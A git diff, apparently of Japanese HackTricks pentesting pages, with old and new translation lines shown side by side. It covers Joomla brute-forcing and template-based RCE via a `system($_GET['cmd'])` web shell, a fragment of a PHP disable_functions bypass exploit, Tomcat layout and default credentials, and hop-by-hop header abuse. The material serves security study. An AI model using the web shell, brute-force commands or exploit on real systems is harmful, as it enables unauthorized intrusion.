* 設定ファイル: `http://<host>/api/index.php/v1/config/application?public=true`
**MSFモジュール**`scanner/http/joomla_api_improper_access_checks`またはrubyスクリプト[51334](https://www.exploit-db.com/exploits/51334)
**MSFモジュール**: `scanner/http/joomla_api_improper_access_checks` またはrubyスクリプト: [51334](https://www.exploit-db.com/exploits/51334)
### ブルートフォース
ログインをブルートフォースするために、この[スクリプト](https://github.com/ajnik/joomla-bruteforce)を使用できます。
この[スクリプト](https://github.com/ajnik/joomla-bruteforce)を使用して、ログインのブルートフォースを試みることができます。
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
@ -145,11 +104,26 @@ admin:admin
```
## RCE
**管理者資格情報**を取得した場合、**PHPコードのスニペット**を追加して**RCE**を獲得できます。これは**テンプレート**を**カスタマイズ**することで行います。
もし**管理者の資格情報**を取得できたら、**PHPコードのスニペット**を追加することで**RCEを実行**できます。これを**テンプレートをカスタマイズ**することで行います。
1. `Configuration`の下にある**`Templates`**をクリックして、テンプレートメニューを表示します。
2. `Template`列ヘッダーの下にある**`protostar`**を選択して、**`Templates: Customise`**ページに移動します。
3. 最後に、**ページソース**を表示するためにページをクリックします。**`error.php`**ページを選択し、以下のように**PHPのワンライナーを追加**してコード実行を行います:
- **`system($_GET['cmd']);`**
1. `Configuration`の下にある左下の**`Templates`**を**クリック**して、テンプレートメニューを表示します。
2. **テンプレート**名を**クリック**します。`Template`列の下にある**`protostar`**を選択しましょう。これで**`Templates: Customise`**ページに移動します。
3. 最後に、ページを**クリック**して**ページソース**を表示できます。**`error.php`**ページを選びましょう。以下のように**コード実行を得るためのPHPワンライナー**を追加します:
1. **`system($_GET['cmd']);`**
4. **保存して閉じる**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# disable_functionsバイパス - PHP 7.0-7.4 (\*nixのみ)
# disable\_functions bypass - PHP 7.0-7.4 (\*nix only)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[Telegramグループ](https://t.me/peass)に参加し、**Twitter**で私をフォロー🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## PHP 7.0-7.4 (\*nixのみ)
## PHP 7.0-7.4 (\*nix only)
From [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)
[https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)から
```php
<?php
@ -235,14 +238,17 @@ write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
exit();
}
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 基本的なTomcat情報
# Basic Tomcat Info
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -20,9 +23,9 @@
***
### rootでの実行を避け
### rootで実行しないようにす
Tomcatをrootで実行しないようにするための非常に一般的な構成は、ポート80/443でApacheサーバーを設定し、リクエストされたパスが正規表現と一致する場合、リクエストを異なるポートで実行されているTomcatに送信することです。
Tomcatをrootで実行しないための一般的な構成は、ポート80/443にApacheサーバーを設定し、要求されたパスが正規表現に一致する場合、リクエストを異なるポートで実行されているTomcatに送信することです。
### デフォルト構造
```
@ -49,14 +52,14 @@ Tomcatをrootで実行しないようにするための非常に一般的な構
└── Catalina
└── localhost
```
* `bin`フォルダには、Tomcatサーバーを起動および実行するために必要なスクリプトとバイナリが保存されています。
* `conf`フォルダには、Tomcatが使用するさまざまな構成ファイルが保存されています。
* `tomcat-users.xml`ファイルには、ユーザーの資格情報と割り当てられた役割が保存されています。
* `lib`フォルダには、Tomcatの正しい動作に必要なさまざまなJARファイルが保存されています。
* `logs`および`temp`フォルダには一時的なログファイルが保存されています。
* `webapps`フォルダはTomcatのデフォルトのWebルートであり、すべてのアプリケーションがホストされています。`work`フォルダはキャッシュとして機能し、ランタイム中にデータを保存するために使用されます。
* `bin`フォルダには、Tomcatサーバーを起動および実行するために必要なスクリプトとバイナリが格納されています。
* `conf`フォルダーには、Tomcatによって使用されるさまざまな設定ファイルが格納されています。
* `tomcat-users.xml`ファイルには、ユーザーの資格情報とその割り当てられた役割が格納されています。
* `lib`フォルダーには、Tomcatの正しい機能に必要なさまざまなJARファイルが保持されています。
* `logs`および`temp`フォルダーには、一時的なログファイルが格納されています。
* `webapps`フォルダーはTomcatのデフォルトのウェブルートであり、すべてのアプリケーションをホストします。`work`フォルダーはキャッシュとして機能し、実行時にデータを格納するために使用されます。
`webapps`内の各フォルダには、次の構造が期待されています。
`webapps`内の各フォルダーは、次の構造を持つことが期待されます。
```
webapps/customapp
├── images
@ -73,10 +76,10 @@ webapps/customapp
└── classes
└── AdminServlet.class
```
最も重要なファイルの1つは`WEB-INF/web.xml`で、デプロイメント記述子として知られています。このファイルは、アプリケーションで使用される**ルートに関する情報**やこれらのルートを処理するクラスに関する情報が格納されています。\
アプリケーションで使用されるすべてのコンパイルされたクラスは`WEB-INF/classes`フォルダに保存する必要があります。これらのクラスには重要なビジネスロジックや機密情報が含まれている可能性があります。これらのファイルにおける脆弱性は、ウェブサイト全体の侵害につながる可能性があります。`lib`フォルダには、その特定のアプリケーションに必要なライブラリが保存されています。`jsp`フォルダには、[Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages)(以前は`JavaServer Pages`として知られていました)が保存されており、Apacheサーバー上のPHPファイルに比較できます。
最も重要なファイルは `WEB-INF/web.xml` で、これはデプロイメント記述子として知られています。このファイルは、アプリケーションで使用される**ルートに関する情報**と、これらのルートを処理するクラスを保存します。\
アプリケーションで使用されるすべてのコンパイル済みクラスは `WEB-INF/classes` フォルダーに保存されるべきです。これらのクラスには重要なビジネスロジックや機密情報が含まれている可能性があります。これらのファイルに脆弱性があると、ウェブサイトの完全な侵害につながる可能性があります。`lib` フォルダには、その特定のアプリケーションに必要なライブラリが保存されています。`jsp` フォルダには、以前は `JavaServer Pages` として知られていた [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) が保存されており、Apacheサーバー上のPHPファイルに比較できます。
以下は**web.xml**ファイルの例です。
ここに例として**web.xml**ファイルがあります。
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
@ -94,15 +97,15 @@ webapps/customapp
</servlet-mapping>
</web-app>
```
上記の`web.xml`構成は、**`AdminServlet`という新しいサーブレット**を定義し、**`com.inlanefreight.api.AdminServlet`クラス**にマップされています。Javaはパッケージ名を作成するためにドット表記を使用します。したがって、上記で定義されたクラスのディスク上のパスは次のとおりです:
The `web.xml` 設定は **`AdminServlet`** という **新しいサーブレット** を定義しており、これは **`com.inlanefreight.api.AdminServlet`** クラスにマッピングされています。Javaはドット表記を使用してパッケージ名を作成するため、上記で定義されたクラスのディスク上のパスは次のようになります:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
次に、**`/admin`へのリクエストを`AdminServlet`にマッピングする**新しいサーブレットマッピングが作成されます。この構成により、**`/admin`への受信リクエストは`AdminServlet.class`クラスに送信**され、処理されます。**`web.xml`**記述子には多くの**機密情報**が含まれており、**ローカルファイルインクルージョンLFI脆弱性**を利用する際にチェックする重要なファイルです。
次に、**`/admin`** へのリクエストを **`AdminServlet`** にマッピングするための新しいサーブレットマッピングが作成されます。この設定により、**`/admin`** に対して受信したリクエストはすべて **`AdminServlet.class`** クラスに送信され、処理されます。**`web.xml`** ディスクリプタには多くの **機密情報** が含まれており、**Local File Inclusion (LFI) 脆弱性** を利用する際に確認すべき重要なファイルです。
### tomcat-users
**`tomcat-users.xml`**ファイルは、**`/manager`および`host-manager`管理ページ**へのアクセスを**許可**または拒否するために使用されます。
**`tomcat-users.xml`** ファイルは **`/manager``host-manager` 管理ページ** へのアクセスを **許可** または **拒否** するために使用されます。
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -143,7 +146,7 @@ will also need to set the passwords to something appropriate.
</tomcat-users>
```
ファイルは、`manager-gui`、`manager-script`、`manager-jmx`、`manager-status` のそれぞれがアクセス権を提供する内容が示されています。この例では、パスワードが `tomcat` のユーザー `tomcat``manager-gui` ロールを持っており、2番目の弱いパスワード `admin` がユーザーアカウント `admin` に設定されています。
ファイルは、`manager-gui`、`manager-script`、`manager-jmx`、および `manager-status` の各役割がどのようなアクセスを提供するかを示しています。この例では、ユーザー `tomcat` がパスワード `tomcat``manager-gui` 役割を持ち、ユーザーアカウント `admin` に対しては、2つ目の弱いパスワード `admin` が設定されていることがわかります。
## 参考文献
@ -155,14 +158,17 @@ will also need to set the passwords to something appropriate.
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> でゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricks で会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com) を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください。
* **ハッキングトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud) に PR を提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,54 +1,60 @@
# ホップバイホップヘッダー
# hop-by-hop headers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**この記事は[https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)の要約です**
**これは投稿の要約です [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)**
ホップバイホップヘッダーは、単一のトランスポートレベル接続に固有であり、主にHTTP/1.1で使用され、2つのード間のデータを管理するために使用されますクライアント-プロキシまたはプロキシ-プロキシなど)、転送されることを意図していません。標準のホップバイホップヘッダーには、`Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`、`Proxy-Authorization`、`Proxy-Authenticate`が含まれます。これらは[RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)で定義されています。追加のヘッダーは、`Connection`ヘッダーを介してホップバイホップとして指定できます。
Hop-by-hopヘッダーは、単一のトランスポートレベル接続に特有で、主にHTTP/1.1で2つのードクライアント-プロキシやプロキシ-プロキシ間のデータを管理するために使用され、転送されることを意図していません。標準のhop-by-hopヘッダーには、`Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`、`Proxy-Authorization`、および`Proxy-Authenticate`が含まれ、[RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)で定義されています。追加のヘッダーは、`Connection`ヘッダーを介してhop-by-hopとして指定できます。
### ホップバイホップヘッダーの悪用
プロキシによるホップバイホップヘッダーの適切な管理がされていないと、セキュリティの問題が発生する可能性があります。これらのヘッダーを削除することが期待されているプロキシでも、すべてが削除されるわけではなく、潜在的な脆弱性が生じる可能性があります。
### Hop-by-Hopヘッダーの悪用
プロキシによるhop-by-hopヘッダーの不適切な管理は、セキュリティ上の問題を引き起こす可能性があります。プロキシはこれらのヘッダーを削除することが期待されていますが、すべてのプロキシがそうするわけではなく、潜在的な脆弱性を生み出します。
### ホップバイホップヘッダーの処理のテスト
ホップバイホップヘッダーの処理は、特定のヘッダーがホップバイホップとしてマークされたときにサーバー応答に変化が見られることでテストできます。ツールやスクリプトを使用してこのプロセスを自動化し、プロキシがこれらのヘッダーをどのように処理するかを特定し、ミス構成やプロキシの動作を明らかにすることができます。
### Hop-by-Hopヘッダー処理のテスト
特定のヘッダーがhop-by-hopとしてマークされているときのサーバーの応答の変化を観察することで、hop-by-hopヘッダーの処理をテストできます。ツールやスクリプトを使用してこのプロセスを自動化し、プロキシがこれらのヘッダーをどのように管理しているかを特定し、誤設定やプロキシの動作を明らかにすることができます。
ホップバイホップヘッダーの悪用はさまざまなセキュリティ上の影響をもたらす可能性があります。以下に、これらのヘッダーを悪用して潜在的な攻撃を行う方法を示す例がいくつかあります:
Hop-by-hopヘッダーの悪用は、さまざまなセキュリティ上の影響を引き起こす可能性があります。以下は、これらのヘッダーが潜在的な攻撃のためにどのように操作されるかを示すいくつかの例です。
### `X-Forwarded-For`を使用したセキュリティコントロールのバイパス
攻撃者は、`X-Forwarded-For`ヘッダーを操作してIPベースのアクセス制御をバイパスすることができます。このヘッダーは、プロキシがクライアントの元のIPアドレスを追跡するためによく使用されます。ただし、プロキシがこのヘッダーをホップバイホップとして扱い、適切な検証なしに転送する場合、攻撃者は自分のIPアドレスを偽装することができます。
### `X-Forwarded-For`を使用したセキュリティ制御の回避
攻撃者は、`X-Forwarded-For`ヘッダーを操作してIPベースのアクセス制御を回避できます。このヘッダーは、プロキシがクライアントの発信IPアドレスを追跡するために使用されることがよくあります。しかし、プロキシがこのヘッダーをhop-by-hopとして扱い、適切な検証なしに転送する場合、攻撃者は自分のIPアドレスを偽装できます。
**攻撃シナリオ**
1. 攻撃者は、`X-Forwarded-For`ヘッダーに偽のIPアドレスを含めて、プロキシの背後にあるWebアプリケーションにHTTPリクエストを送信します。
2. 攻撃者は、`Connection: close, X-Forwarded-For`ヘッダーも含め、プロキシに`X-Forwarded-For`をホップバイホップとして扱うよう促します。
3. 設定が誤っているプロキシは、スプーフィングされた`X-Forwarded-For`ヘッダーを削除せずにWebアプリケーションにリクエストを転送します。
4. 元の`X-Forwarded-For`ヘッダーが見えないWebアプリケーションは、リクエストを信頼されたプロキシから直接受信していると見なし、不正なアクセスを許可する可能性があります。
**攻撃シナリオ:**
1. 攻撃者は、プロキシの背後にあるWebアプリケーションにHTTPリクエストを送信し、`X-Forwarded-For`ヘッダーに偽のIPアドレスを含めます。
2. 攻撃者は、`Connection: close, X-Forwarded-For`ヘッダーも含め、プロキシに`X-Forwarded-For`をhop-by-hopとして扱うよう促します。
3. 誤設定されたプロキシは、偽装された`X-Forwarded-For`ヘッダーなしでリクエストをWebアプリケーションに転送します。
4. Webアプリケーションは、元の`X-Forwarded-For`ヘッダーを見ていないため、リクエストが信頼されたプロキシから直接来たものと見なす可能性があり、無許可のアクセスを許可する可能性があります。
### ホップバイホップヘッダーインジェクションによるキャッシュの汚染
キャッシュサーバーがホップバイホップヘッダーに基づいてコンテンツを誤ってキャッシュする場合、攻撃者は悪意のあるヘッダーをインジェクトしてキャッシュを汚染することができます。これにより、同じリソースを要求するユーザーに誤ったまたは悪意のあるコンテンツが提供されます。
### Hop-by-Hopヘッダー注入によるキャッシュポイズニング
キャッシュサーバーがhop-by-hopヘッダーに基づいてコンテンツを誤ってキャッシュする場合、攻撃者は悪意のあるヘッダーを注入してキャッシュを汚染する可能性があります。これにより、同じリソースを要求するユーザーに不正確または悪意のあるコンテンツが提供されます。
**攻撃シナリオ:**
1. 攻撃者は、キャッシュされてはならないホップバイホップヘッダーを持つリクエストをWebアプリケーションに送信します`Connection: close, Cookie`)。
2. 設定が不十分なキャッシュサーバーは、ホップバイホップヘッダーを削除せずに、攻撃者のセッションに特化したレスポンスをキャッシュします。
3. 同じリソースを要求する将来のユーザーは、攻撃者向けに調整されたキャッシュされたレスポンスを受け取り、セッションハイジャックや機密情報の公開につながる可能性があります。
**攻撃シナリオ:**
1. 攻撃者は、キャッシュされるべきでないhop-by-hopヘッダー`Connection: close, Cookie`を含むリクエストをWebアプリケーションに送信します。
2. 不適切に構成されたキャッシュサーバーは、hop-by-hopヘッダーを削除せず、攻撃者のセッションに特化した応答をキャッシュします。
3. 同じリソースを要求する将来のユーザーは、攻撃者向けに調整されたキャッシュされた応答を受け取り、セッションハイジャックや機密情報の露出につながる可能性があります。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,54 +1,58 @@
# 依存関係の混乱
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
